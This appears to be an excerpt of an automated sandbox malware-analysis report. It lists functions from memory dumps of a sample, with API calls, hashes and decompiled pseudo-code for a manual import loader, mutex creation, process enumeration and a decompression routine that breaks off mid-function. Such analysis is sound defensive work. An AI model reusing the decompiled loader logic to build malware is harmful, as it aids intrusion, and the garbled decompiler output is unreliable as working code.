ABFTvUipMWyGCrCKo, xrefs: 001F2409, 001F243A

Memory Dump Source

Source File: 0000000A.00000002.1414568995.001F0000.00000040.sdmp, Offset: 001F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1f0000_363.jbxd

Similarity

API ID: lstrcmp
String ID: ABFTvUipMWyGCrCKo$FBREY
API String ID: 1534048567-490764154
Opcode ID: 8de65e544a84a38837b197e842cadd939bb9dd1b3022f55d0a6fb020883c2da3
Instruction ID: bfcb4f11fbf6fa6178e7ce744478d7a9de306fc4dfb69828e8b0011e838f3f5b
Opcode Fuzzy Hash: 8de65e544a84a38837b197e842cadd939bb9dd1b3022f55d0a6fb020883c2da3
Instruction Fuzzy Hash: D00144B5E102198BCB00CF98ED401AEFBF5FB98315B658127D908B7714E770A9C2CB90

Uniqueness

Uniqueness Score: 5.06%

Function 001F274F, Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 141
memoryCOMMON

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 001F27C2

Strings

@, xrefs: 001F27AB

Memory Dump Source

Source File: 0000000A.00000002.1414568995.001F0000.00000040.sdmp, Offset: 001F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1f0000_363.jbxd

Similarity

API ID: AllocVirtual
String ID: @
API String ID: 4275171209-2766056989
Opcode ID: 7d20ee4a194b591e15d4dc299facaabadbb9d4eb17260288725dea78abce90c8
Instruction ID: 4d476fbca0a567970ae585b19d2edf9cfa4ab0bb9db130a37838883fb5e632b5
Opcode Fuzzy Hash: 7d20ee4a194b591e15d4dc299facaabadbb9d4eb17260288725dea78abce90c8
Instruction Fuzzy Hash: 6951D7B1E052198FCB04CFADD88069DFBF1BF88320F15822EE559AB391D7749941CB84

Uniqueness

Uniqueness Score: 0.34%

Function 0031112C, Relevance: 3.0, APIs: 2, Instructions: 29
synchronizationCOMMON

Control-flow Graph

Executed
Not Executed

APIs

_snwprintf.NTDLL ref: 00311145
CreateMutexW.KERNELBASE(00000000,00000001,0BDDE7B4), ref: 00311160

Memory Dump Source

Source File: 0000000A.00000002.1414610091.00311000.00000020.sdmp, Offset: 00310000, based on PE: true

Associated: 0000000A.00000002.1414603634.00310000.00000002.sdmp
Associated: 0000000A.00000002.1414623091.0031F000.00000002.sdmp
Associated: 0000000A.00000002.1414628275.00320000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_310000_363.jbxd

Similarity

API ID: CreateMutex_snwprintf
String ID:
API String ID: 451050361-0
Opcode ID: bada332abb7b62b30cd2233805d17fca97cfc6a7165c60e7c52e90563f1b96e4
Instruction ID: 25dbded4171385921b90fea337cf66d86947755438a5f814edb2ba2a9d9f0de3
Opcode Fuzzy Hash: bada332abb7b62b30cd2233805d17fca97cfc6a7165c60e7c52e90563f1b96e4
Instruction Fuzzy Hash: 23E06832B0020857DB2697D46C82BEEB76DDB85311F0000F6FB09DA241EA758F4987E2

Uniqueness

Uniqueness Score: 0.01%

Function 00311C27, Relevance: 3.0, APIs: 2, Instructions: 10
COMMON

Control-flow Graph

Executed
Not Executed

APIs

Process32FirstW.KERNEL32 ref: 00311C33
CloseHandle.KERNEL32 ref: 00311C71

Memory Dump Source

Source File: 0000000A.00000002.1414610091.00311000.00000020.sdmp, Offset: 00310000, based on PE: true

Associated: 0000000A.00000002.1414603634.00310000.00000002.sdmp
Associated: 0000000A.00000002.1414623091.0031F000.00000002.sdmp
Associated: 0000000A.00000002.1414628275.00320000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_310000_363.jbxd

Similarity

API ID: CloseFirstHandleProcess32
String ID:
API String ID: 917458368-0
Opcode ID: 7291ae2a771e696fe23b798da2238d90fefc39645d7a346fd7437f2d91f07de7
Instruction ID: e0f491b16325adee79f99a37330f7ae707f9db15c6acc59f83d82ab8054ba345
Opcode Fuzzy Hash: 7291ae2a771e696fe23b798da2238d90fefc39645d7a346fd7437f2d91f07de7
Instruction Fuzzy Hash: 9DC08CB0249010AAE32B2B72AC0C6BF392CAF07300F204048E90290000CF388B128FA9

Uniqueness

Uniqueness Score: 0.01%

Function 00311C58, Relevance: 3.0, APIs: 2, Instructions: 7
COMMON

Control-flow Graph

Executed
Not Executed

APIs

Process32NextW.KERNEL32 ref: 00311C58
CloseHandle.KERNEL32 ref: 00311C71

Memory Dump Source

Source File: 0000000A.00000002.1414610091.00311000.00000020.sdmp, Offset: 00310000, based on PE: true

Associated: 0000000A.00000002.1414603634.00310000.00000002.sdmp
Associated: 0000000A.00000002.1414623091.0031F000.00000002.sdmp
Associated: 0000000A.00000002.1414628275.00320000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_310000_363.jbxd

Similarity

API ID: CloseHandleNextProcess32
String ID:
API String ID: 4007157957-0
Opcode ID: 67e4a43482b1905434559ed1d5d2fb6ab94689f77fa507f3c63ea6983c5f1bd5
Instruction ID: bbad6407cd9cbf0059f2586fe41be464ef24d25e8be75ba634346fa913bc68f3
Opcode Fuzzy Hash: 67e4a43482b1905434559ed1d5d2fb6ab94689f77fa507f3c63ea6983c5f1bd5
Instruction Fuzzy Hash: 35B0927020800086622F2B20A85C2AA362CAD07341B110009E50280510DF28A7229A56

Uniqueness

Uniqueness Score: 0.01%

Function 00E82550, Relevance: 1.6, APIs: 1, Instructions: 76
COMMON

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 16%

			E00E82550() {
				signed int _v16;
				signed int _v18;
				char* _v24;
				intOrPtr _v28;
				signed int _v32;
				intOrPtr _v36;
				char _v40;
				signed int _v44;
				signed short* _v48;
				int _v52;
				intOrPtr _v56;
				signed int _v60;
				char* _v64;
				int _t44;
				void* _t51;
				signed int _t54;
				signed int _t68;
				signed int _t71;
				intOrPtr* _t73;

				_t73 = (_t71 & 0xfffffff8) - 0x40;
				_v16 = 0x2a0d8909;
				_v40 = 5;
				_v44 = 0;
				_v24 = E00E81AA0();
				if(_v24 != 0) {
					_v18 = _v18 | 0x0000a98f;
					 *_t73 = 0;
					_v64 = _v24;
					_v56 = 0;
					_v28 = E00E81440(__eflags);
					_v44 = L00E841D0();
					__eflags = _v44;
					if(_v44 != 0) {
						while(1) {
							_v48 =  *((intOrPtr*)(_v28 + 0x28));
							 *_t73 = _v48;
							_v64 =  &_v40;
							_t44 = GetBinaryTypeW(??, ??); // executed
							_t73 = _t73 - 8;
							_t68 = _v16 + 0xd5f276f7;
							__eflags = ( *_v48 & 0x0000ffff) - _t68;
							_v52 = _t44;
							if(( *_v48 & 0x0000ffff) == _t68) {
								break;
							}
							_v36 = 0x2de09f4d;
							__eflags = 0x19e167cc - _v36;
							if(0x19e167cc == _v36) {
								continue;
							} else {
								_v60 = _v16 ^ 0x2a0d89c8;
								_t51 = E00E82680(_v16 ^ 0x2a0d89c8);
								__eflags = _t51 - _v60;
								_v32 = (_t68 & 0xffffff00 | _t51 != _v60) & 1;
							}
							goto L5;
						}
						_v32 = 0x2a0d8909 - _v16;
					} else {
						_t54 = _v16 ^ 0x2a0d8909;
						__eflags = _t54;
						_v32 = _t54;
					}
				} else {
					_v32 = _v16 + 0xd5f276f7;
				}
				L5:
				return _v32;
			}

0x00e82556
0x00e82559
0x00e82561
0x00e82569
0x00e82576
0x00e8257f
0x00e8261f
0x00e82628
0x00e8262f
0x00e82633
0x00e8263c
0x00e82645
0x00e82649
0x00e8264e
0x00e825d2
0x00e825dd
0x00e825e9
0x00e825ec
0x00e825f0
0x00e825f2
0x00e82600
0x00e82606
0x00e82608
0x00e8260c
0x00000000
0x00000000
0x00e8258c
0x00e82594
0x00e82598
0x00000000
0x00e8259a
0x00e8265e
0x00e82662
0x00e8266b
0x00e82676
0x00e82676
0x00000000
0x00e82598
0x00e825cc
0x00e82650
0x00e825a3
0x00e825a3
0x00e825a8
0x00e825a8
0x00e82585
0x00e825bd
0x00e825bd
0x00e825ac
0x00e825b3

APIs

GetBinaryTypeW.KERNEL32 ref: 00E825F0

Memory Dump Source

Source File: 0000000A.00000002.1415827507.00E81000.00000020.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000A.00000002.1415821296.00E80000.00000002.sdmp
Associated: 0000000A.00000002.1415838694.00E85000.00000002.sdmp
Associated: 0000000A.00000002.1415844056.00E86000.00000004.sdmp
Associated: 0000000A.00000002.1415849133.00E88000.00000008.sdmp
Associated: 0000000A.00000002.1415892439.00EA1000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e80000_363.jbxd

Similarity

API ID: BinaryType
String ID:
API String ID: 3726996659-0
Opcode ID: aa4a16c5c1c89c79baf4edd289e9d8508bbcdcb69af84956755004cf54592773
Instruction ID: 21e86a14a37f2b76a036ce5d58c01767063bf44e7bc3ee2b382173058102a736
Opcode Fuzzy Hash: aa4a16c5c1c89c79baf4edd289e9d8508bbcdcb69af84956755004cf54592773
Instruction Fuzzy Hash: 9631DFB05493029BC304EF25C19162BBBE0EB98B08F546E1EE4DEA7291E734D9449B97

Uniqueness

Uniqueness Score: 0.18%

Function 0031D500, Relevance: 1.5, APIs: 1, Instructions: 11
COMMON

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			_entry_() {
				void* _t3;
				void* _t5;
				void* _t6;
				void* _t7;
				void* _t8;

				L0031CDA0(_t5);
				L0031CF00(); // executed
				_t3 = L00311030(); // executed
				_t11 = _t3;
				if(_t3 != 0) {
					L0031C990(_t5, _t6, _t7, _t8, _t11);
				}
				ExitProcess(0);
			}

0x0031d506
0x0031d50b
0x0031d510
0x0031d515
0x0031d517
0x0031d519
0x0031d519
0x0031d520

APIs

ExitProcess.KERNEL32 ref: 0031D520

Memory Dump Source

Source File: 0000000A.00000002.1414610091.00311000.00000020.sdmp, Offset: 00310000, based on PE: true

Associated: 0000000A.00000002.1414603634.00310000.00000002.sdmp
Associated: 0000000A.00000002.1414623091.0031F000.00000002.sdmp
Associated: 0000000A.00000002.1414628275.00320000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_310000_363.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 99a6f7e95f6300e97a00d72ea8d749287db1bc3727f602aaa328908b2edeaf19
Instruction ID: ea4b22e10ccc32f2025bcfe225439ed4c63e2af126012f18a8be1fefed4fc712
Opcode Fuzzy Hash: 99a6f7e95f6300e97a00d72ea8d749287db1bc3727f602aaa328908b2edeaf19
Instruction Fuzzy Hash: 09C08C204B430002D21F33F80C073C871091F0DB51F003220BA208C0C2EF00B1C0817B

Uniqueness

Uniqueness Score: 0.01%

Function 001F1FA4, Relevance: 1.4, APIs: 1, Instructions: 147
memoryCOMMON

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 001F206B

Memory Dump Source

Source File: 0000000A.00000002.1414568995.001F0000.00000040.sdmp, Offset: 001F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1f0000_363.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 1374ca2cd218c8da3dea32c612fb4b524c12b4a5dcce5f438b317e5499d1abba
Instruction ID: e38ad7e20575d915b60f49c5513ce3e4c3cc6c5ab7e877da43d9128072a78c69
Opcode Fuzzy Hash: 1374ca2cd218c8da3dea32c612fb4b524c12b4a5dcce5f438b317e5499d1abba
Instruction Fuzzy Hash: 5161C2B4E052199FDB04CFA8D5906AEBBF1FF88314F24852EE549AB380D775A941CB84

Uniqueness

Uniqueness Score: 0.00%

Function 00E82300, Relevance: 1.3, APIs: 1, Instructions: 66memoryCOMMON

APIs

VirtualAlloc.KERNELBASE ref: 00E8237E

Memory Dump Source

Source File: 0000000A.00000002.1415827507.00E81000.00000020.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000A.00000002.1415821296.00E80000.00000002.sdmp
Associated: 0000000A.00000002.1415838694.00E85000.00000002.sdmp
Associated: 0000000A.00000002.1415844056.00E86000.00000004.sdmp
Associated: 0000000A.00000002.1415849133.00E88000.00000008.sdmp
Associated: 0000000A.00000002.1415892439.00EA1000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e80000_363.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: f76aa059623040c1bc730a7d169d1e9da9121d0b2d42967e3e06e5f24c57711b
Instruction ID: 52b6aa85a97cb85b945450aea2b2dd44bbec777a37adbaff0f87c03649e4e59d
Opcode Fuzzy Hash: f76aa059623040c1bc730a7d169d1e9da9121d0b2d42967e3e06e5f24c57711b
Instruction Fuzzy Hash: 7F213AB1E042099FCB04DFA9D9546AEBBB1EB88314F10812EE90DBB314D7399D41CF95

Uniqueness

Uniqueness Score: 0.00%

Non-executed Functions

Function 00311A36, Relevance: 3.1, APIs: 2, Instructions: 53
libraryloaderCOMMON

C-Code - Quality: 80%

			E00311A36(void* __ebx, intOrPtr __ecx, void* __edx, void* __edi, void* __esi) {
				intOrPtr _t12;
				_Unknown_base(*)()* _t14;
				signed short _t15;
				CHAR* _t17;
				intOrPtr* _t19;
				intOrPtr _t20;
				struct HINSTANCE__* _t22;
				_Unknown_base(*)()** _t25;
				signed short* _t28;
				void* _t29;
				signed short _t34;

				_t20 = __ecx;
				_t12 =  *((intOrPtr*)(__edx + 0x80));
				 *((intOrPtr*)(_t29 - 4)) = __ecx;
				if(_t12 == 0 ||  *((intOrPtr*)(__edx + 0x84)) == 0) {
					L12:
					goto 0x330404;
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					return _t12;
				} else {
					_t19 = _t12 + __ecx;
					_t12 =  *((intOrPtr*)(_t19 + 0xc));
					if(_t12 == 0) {
						goto L12;
					} else {
						while(1) {
							_t14 = LoadLibraryA(_t12 + _t20);
							_t22 = _t14;
							 *(_t29 - 8) = _t22;
							if(_t22 == 0) {
								break;
							}
							_t20 =  *((intOrPtr*)(_t29 - 4));
							_t28 =  *_t19 + _t20;
							_t25 =  *((intOrPtr*)(_t19 + 0x10)) + _t20;
							_t15 =  *_t28;
							_t34 = _t15;
							if(_t34 == 0) {
								L11:
								_t12 =  *((intOrPtr*)(_t19 + 0x20));
								_t19 = _t19 + 0x14;
								if(_t12 != 0) {
									continue;
								} else {
									goto L12;
								}
							} else {
								L6:
								L6:
								if(_t34 >= 0) {
									_t17 = _t15 + 2 + _t20;
								} else {
									_t17 = _t15 & 0x0000ffff;
								}
								_t14 = GetProcAddress(_t22, _t17);
								if(_t14 == 0) {
									break;
								}
								_t20 =  *((intOrPtr*)(_t29 - 4));
								_t28 =  &(_t28[2]);
								_t22 =  *(_t29 - 8);
								 *_t25 = _t14;
								_t25 = _t25 + 4;
								_t15 =  *_t28;
								if(_t15 != 0) {
									goto L6;
								} else {
									goto L11;
								}
							}
							goto L14;
						}
						goto 0x33041d;
						asm("int3");
						asm("int3");
						asm("int3");
						return _t14;
					}
				}
				L14:
			}

0x00311a36
0x00311a36
0x00311a3c
0x00311a44
0x00311aba
0x00311aba
0x00311abf
0x00311ac0
0x00311ac1
0x00311ac2
0x00311ac3
0x00311ac4
0x00311ac5
0x00311a4f
0x00311a4f
0x00311a52
0x00311a57
0x00000000
0x00311a60
0x00311a60
0x00311a63
0x00311a69
0x00311a6b
0x00311a70
0x00000000
0x00000000
0x00311a74
0x00311a7a
0x00311a7c
0x00311a7e
0x00311a80
0x00311a82
0x00311ab0
0x00311ab0
0x00311ab3
0x00311ab8
0x00000000
0x00000000
0x00000000
0x00000000
0x00311a84
0x00000000
0x00311a84
0x00311a84
0x00311a8e
0x00311a86
0x00311a86
0x00311a86
0x00311a92
0x00311a9a
0x00000000
0x00000000
0x00311a9c
0x00311a9f
0x00311aa2
0x00311aa5
0x00311aa7
0x00311aaa
0x00311aae
0x00000000
0x00000000
0x00000000
0x00000000
0x00311aae
0x00000000
0x00311a82
0x00311ac6
0x00311acb
0x00311acc
0x00311acd
0x00311ace
0x00311ace
0x00311a57
0x00000000

APIs

LoadLibraryA.KERNEL32(?), ref: 00311A63
GetProcAddress.KERNEL32(00000000,-00000002), ref: 00311A92

Memory Dump Source

Source File: 0000000A.00000002.1414610091.00311000.00000020.sdmp, Offset: 00310000, based on PE: true

Associated: 0000000A.00000002.1414603634.00310000.00000002.sdmp
Associated: 0000000A.00000002.1414623091.0031F000.00000002.sdmp
Associated: 0000000A.00000002.1414628275.00320000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_310000_363.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID:
API String ID: 2574300362-0
Opcode ID: 0dee86dec044d6f2051578159d120ea53732454680f5d5ed3445a3a921dff9df
Instruction ID: bcb576dff4066e65a34abc4b2001c04b6898f522654dd53f82b83dfd51afa595
Opcode Fuzzy Hash: 0dee86dec044d6f2051578159d120ea53732454680f5d5ed3445a3a921dff9df
Instruction Fuzzy Hash: F91139B1A012029FDB29CF59C984BE67BB9BF48344F2A4168DD45D7301E734EE81CB60

Uniqueness

Uniqueness Score: 0.02%

Function 0031277F, Relevance: 3.0, APIs: 2, Instructions: 18COMMON

APIs

RtlGetVersion.NTDLL ref: 0031278A
GetNativeSystemInfo.KERNEL32(?), ref: 00312794

Memory Dump Source

Source File: 0000000A.00000002.1414610091.00311000.00000020.sdmp, Offset: 00310000, based on PE: true

Associated: 0000000A.00000002.1414603634.00310000.00000002.sdmp
Associated: 0000000A.00000002.1414623091.0031F000.00000002.sdmp
Associated: 0000000A.00000002.1414628275.00320000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_310000_363.jbxd

Similarity

API ID: InfoNativeSystemVersion
String ID:
API String ID: 2296905803-0
Opcode ID: 6ed85457aec02a1cc3de510960d39c3fdeda6234773e3e49c87f6ad3b2b1b3b7
Instruction ID: 88f7404cece3b2d7fc93f779b7fd681660b35459f034dcbdd8b8d7d30cc6a09f
Opcode Fuzzy Hash: 6ed85457aec02a1cc3de510960d39c3fdeda6234773e3e49c87f6ad3b2b1b3b7
Instruction Fuzzy Hash: F4E0ED7190021D8BCB25DF51D8859ECB7B8AB25705F0100E9E505FA161EA35DB55CB10

Uniqueness

Uniqueness Score: 0.02%

Function 00311830, Relevance: 2.5, APIs: 2, Instructions: 6
memoryCOMMON

C-Code - Quality: 100%

			E00311830(void* __ecx) {

				return HeapFree(GetProcessHeap(), 0, __ecx);
			}

0x00311840

APIs

GetProcessHeap.KERNEL32(00000000,?,0031C7E7), ref: 00311833
HeapFree.KERNEL32(00000000), ref: 0031183A

Memory Dump Source

Source File: 0000000A.00000002.1414610091.00311000.00000020.sdmp, Offset: 00310000, based on PE: true

Associated: 0000000A.00000002.1414603634.00310000.00000002.sdmp
Associated: 0000000A.00000002.1414623091.0031F000.00000002.sdmp
Associated: 0000000A.00000002.1414628275.00320000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_310000_363.jbxd

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 9a13fcd6a41f73a04bf88530982e40f684811e800d1dc361bd73c697a7f2e322
Instruction ID: 3538f27e42e8ab9e404fbc514289068872f1538b2d72948324a1c1970b8e9d5f
Opcode Fuzzy Hash: 9a13fcd6a41f73a04bf88530982e40f684811e800d1dc361bd73c697a7f2e322
Instruction Fuzzy Hash: C7A002715551016BDD5567A09D0EF55391CA754702F104548B10685050996956518A71

Uniqueness

Uniqueness Score: 0.01%

Function 00E81C20, Relevance: 1.6, APIs: 1, Instructions: 86libraryloaderCOMMON

APIs

LdrGetProcedureAddress.NTDLL ref: 00E81CA3

Memory Dump Source

Source File: 0000000A.00000002.1415827507.00E81000.00000020.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000A.00000002.1415821296.00E80000.00000002.sdmp
Associated: 0000000A.00000002.1415838694.00E85000.00000002.sdmp
Associated: 0000000A.00000002.1415844056.00E86000.00000004.sdmp
Associated: 0000000A.00000002.1415849133.00E88000.00000008.sdmp
Associated: 0000000A.00000002.1415892439.00EA1000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e80000_363.jbxd

Similarity

API ID: AddressProcedure
String ID:
API String ID: 3653107232-0
Opcode ID: c5796784498e97f6e7333cc86ed17307ce1fa802b6d9c3e100930e68b9c9967e
Instruction ID: f65689160869aee061c9f227821b4354637bda89d7c77da14c41b72aab4a1c64
Opcode Fuzzy Hash: c5796784498e97f6e7333cc86ed17307ce1fa802b6d9c3e100930e68b9c9967e
Instruction Fuzzy Hash: 96311370804258DACB18EFA9D4843EDBBF8FF04354F10A45AE84DBB350E3749986CB82

Uniqueness

Uniqueness Score: 5.06%

Function 003156EF, Relevance: .5, Instructions: 487
COMMONCrypto

C-Code - Quality: 68%

			E003156EF(signed int __ebx, signed int __edx, signed int __edi, signed int __esi) {
				signed int _t595;
				signed int _t596;
				signed int _t598;
				void* _t599;
				signed int _t609;
				signed int* _t619;
				signed int _t622;
				signed int _t639;
				signed int _t641;
				signed int _t646;
				signed char _t652;
				signed int _t655;
				signed int _t657;
				signed int _t660;
				signed int _t666;
				signed int _t669;
				signed int _t671;
				void* _t673;
				signed int _t676;
				signed int _t680;
				signed int _t683;
				signed int _t684;
				signed int _t685;
				unsigned int _t693;
				signed int _t694;
				signed int _t696;
				signed int _t697;
				signed int _t701;
				signed int _t711;
				signed int _t716;
				signed int _t718;
				signed int _t721;
				signed int _t723;
				signed int _t724;
				intOrPtr _t736;
				intOrPtr _t737;
				intOrPtr _t738;
				signed int _t741;
				signed int _t745;
				void* _t751;
				signed int _t756;
				signed int _t758;
				signed int _t762;
				signed int _t766;
				signed int _t769;
				signed int _t773;
				signed int _t778;
				signed int _t782;
				signed int _t783;
				signed int _t788;
				signed int _t789;
				signed int _t790;
				signed int _t795;
				signed int _t796;
				signed int _t798;
				signed int _t799;
				signed int _t806;
				signed int _t809;
				intOrPtr* _t811;
				void* _t812;
				signed int _t823;
				signed int _t825;
				intOrPtr _t827;
				signed int _t831;
				intOrPtr* _t833;
				signed int _t834;
				signed int _t842;
				signed int _t845;
				signed int _t848;
				signed int _t850;
				signed int _t851;
				signed int _t860;
				signed int _t863;
				void* _t864;
				void* _t865;
				void* _t866;
				void* _t867;
				void* _t868;
				void* _t869;
				void* _t870;
				void* _t871;
				signed char _t872;
				signed char _t875;
				intOrPtr _t877;
				signed int _t880;
				signed int _t881;
				signed char _t883;
				signed int _t884;
				signed int _t885;
				signed char _t890;
				signed int _t892;
				void* _t893;
				signed int _t894;
				signed int _t897;
				signed int _t898;
				signed char _t899;
				intOrPtr _t901;
				intOrPtr _t903;
				void* _t906;
				signed char _t907;
				signed char _t908;
				signed int _t909;
				signed int _t913;
				signed char _t918;
				signed int _t919;
				signed int _t920;
				signed int _t923;
				signed int _t928;
				signed int _t932;
				signed char _t936;
				signed int _t937;
				signed char _t940;
				signed int _t941;
				signed int _t949;
				signed int _t964;
				signed int _t968;
				signed int _t970;
				signed int _t974;
				signed int* _t975;
				signed char* _t980;
				signed int _t981;
				signed int _t986;
				unsigned int _t987;
				signed int _t988;
				signed int _t989;
				signed int _t992;
				signed int _t993;
				signed int _t995;
				signed int _t997;
				signed int _t998;
				signed int _t999;
				signed int _t1002;
				signed int _t1006;
				signed int _t1012;
				signed int _t1013;
				int _t1014;
				int _t1016;
				signed int _t1017;
				unsigned int _t1020;
				void* _t1024;
				intOrPtr _t1025;
				signed int _t1026;
				signed int _t1029;
				signed int _t1031;
				signed int _t1032;
				signed int _t1034;
				int _t1039;
				signed int _t1040;
				signed int _t1042;
				unsigned int _t1043;
				signed int _t1044;
				void* _t1045;
				void* _t1047;
				signed int _t1049;
				unsigned int _t1052;
				signed int _t1053;
				unsigned int _t1055;
				signed int _t1056;
				signed int _t1064;
				signed char _t1065;
				void* _t1066;
				void* _t1068;

				L0:
				while(1) {
					L0:
					_t1050 = __esi;
					_t1029 = __edi;
					_t846 = __ebx;
					if(__ebx >=  *(_t1066 - 0x20)) {
						break;
					}
					L1:
					_t872 = __esi;
					_t846 = __ebx + 1;
					_t987 = __edx | ( *__ebx & 0x000000ff) << __esi;
					 *(_t1066 - 0x18) = _t846;
					_t1064 = __esi + 8;
					 *(_t1066 - 4) = _t987;
					if(_t1064 < 0xf) {
						L227:
						_t646 =  *((short*)(_t1029 + 0xf00 + (_t987 & 0x000003ff) * 2));
						 *(_t1066 - 0x24) = _t646;
						__eflags = _t646;
						if(_t646 < 0) {
							L231:
							__eflags = _t1064 - 0xa;
							if(_t1064 <= 0xa) {
								continue;
							} else {
								L232:
								L233:
								 *(_t1066 - 0x1c) = _t872;
								while(1) {
									L234:
									_t872 =  *((short*)(_t1029 + 0x1700 + ((_t987 >> _t872 & 0x00000001) +  !( *(_t1066 - 0x24))) * 2));
									_t652 =  *(_t1066 - 0x1c) + 1;
									 *(_t1066 - 0x24) = _t872;
									 *(_t1066 - 0x1c) = _t652;
									__eflags = _t872;
									if(_t872 >= 0) {
										goto L2;
									}
									L235:
									__eflags = _t1064 - _t652 + 1;
									if(_t1064 < _t652 + 1) {
										goto L0;
									} else {
										L236:
										_t872 =  *(_t1066 - 0x1c);
										continue;
									}
									goto L295;
								}
								goto L2;
							}
						} else {
							L228:
							_t845 = _t646 >> 9;
							__eflags = _t845;
							if(_t845 == 0) {
								continue;
							} else {
								L229:
								__eflags = _t1064 - _t845;
								if(_t1064 >= _t845) {
									goto L2;
								} else {
									L230:
									continue;
								}
							}
						}
					} else {
						while(1) {
							L2:
							_t655 =  *((short*)(_t1029 + 0xf00 + (_t987 & 0x000003ff) * 2));
							 *(_t1066 - 0x1c) = _t655;
							if(_t655 < 0) {
								goto L4;
							}
							L3:
							_t872 = _t655 >> 9;
							_t660 = _t655 & 0x000001ff;
							L8:
							_t988 = _t987 >> _t872;
							_t1050 = _t1064 - _t872;
							_t875 =  *(0x31f090 + _t660 * 4);
							_t595 =  *(0x31f110 + _t660 * 4);
							 *(_t1066 - 4) = _t988;
							 *(_t1066 - 0x38) = _t875;
							 *(_t1066 - 0x28) = _t595;
							if(_t875 == 0) {
								L14:
								_t877 =  *(_t1066 - 0x10) -  *((intOrPtr*)(_t1066 + 0xc));
								 *((intOrPtr*)(_t1066 - 0x48)) = _t877;
								if(_t595 <= _t877 || ( *(_t1066 + 0x18) & 0x00000004) == 0) {
									L16:
									_t1029 =  *(_t1066 - 0x14);
									_t880 = (_t877 - _t595 &  *(_t1066 - 0x34)) +  *((intOrPtr*)(_t1066 + 0xc));
									 *(_t1066 - 0xc) = _t880;
									_t662 =  >  ?  *(_t1066 - 0x10) : _t880;
									_t881 =  *(_t1066 - 8);
									_t663 = ( >  ?  *(_t1066 - 0x10) : _t880) + _t881;
									_t1081 = ( >  ?  *(_t1066 - 0x10) : _t880) + _t881 -  *((intOrPtr*)(_t1066 - 0x40));
									if(( >  ?  *(_t1066 - 0x10) : _t880) + _t881 <=  *((intOrPtr*)(_t1066 - 0x40))) {
										L20:
										__eflags = _t881 - 9;
										if(_t881 < 9) {
											L29:
											goto 0x331420;
											asm("int3");
											do {
												L31:
												_t881 = _t881 - 3;
												 *_t1029 =  *_t988 & 0x000000ff;
												 *((char*)(_t1029 + 1)) =  *(_t988 + 1) & 0x000000ff;
												_t666 =  *(_t988 + 2) & 0x000000ff;
												_t988 = _t988 + 3;
												 *(_t1029 + 2) = _t666;
												_t1029 = _t1029 + 3;
												__eflags = _t881 - 2;
											} while (_t881 > 2);
											 *(_t1066 - 0x10) = _t1029;
											_t1029 =  *(_t1066 - 0x14);
											 *(_t1066 - 0xc) = _t988;
											_t988 =  *(_t1066 - 4);
											 *(_t1066 - 8) = _t881;
											__eflags = _t881;
											if(_t881 > 0) {
												L33:
												goto 0x331434;
												asm("int3");
												_t827 =  *_t666;
												 *_t1029 = _t827;
												_t1029 =  *(_t1066 - 0x14);
												__eflags = _t881 - 1;
												if(_t881 > 1) {
													goto L35;
												}
												goto L37;
											}
										} else {
											L21:
											__eflags = _t881 -  *(_t1066 - 0x28);
											if(_t881 >  *(_t1066 - 0x28)) {
												goto L29;
											} else {
												L22:
												_t1049 =  *(_t1066 - 0xc);
												_t964 =  *(_t1066 - 0x10);
												_t831 = (_t881 & 0xfffffff8) + _t1049;
												 *(_t1066 - 0x24) = _t831;
												_t1026 = _t831;
												do {
													L23:
													 *_t964 =  *_t1049;
													_t833 =  *((intOrPtr*)(_t1049 + 4));
													_t1049 = _t1049 + 8;
													 *((intOrPtr*)(_t964 + 4)) = _t833;
													_t964 = _t964 + 8;
													__eflags = _t1049 - _t1026;
												} while (_t1049 < _t1026);
												_t988 =  *(_t1066 - 4);
												 *(_t1066 - 0x10) = _t964;
												_t881 =  *(_t1066 - 8) & 0x00000007;
												 *(_t1066 - 0xc) = _t1049;
												_t1029 =  *(_t1066 - 0x14);
												 *(_t1066 - 8) = _t881;
												__eflags = _t881 - 3;
												if(_t881 >= 3) {
													goto L29;
												} else {
													L25:
													__eflags = _t881;
													if(_t881 != 0) {
														L26:
														goto 0x33140c;
														asm("int3");
														_t827 =  *_t833;
														 *_t1029 = _t827;
														_t1029 =  *(_t1066 - 0x14);
														__eflags = _t881 - 1;
														if(_t881 > 1) {
															L28:
															L35:
															goto 0x331448;
															asm("int3");
															 *(_t988 + 1) =  *((intOrPtr*)(_t827 + 1));
															_t988 =  *(_t1066 - 4);
														}
														L37:
														_t83 = _t1066 - 0x10;
														 *_t83 =  *(_t1066 - 0x10) + _t881;
														__eflags =  *_t83;
													}
												}
											}
										}
										goto L38;
									} else {
										while(1) {
											L17:
											_t834 = _t881;
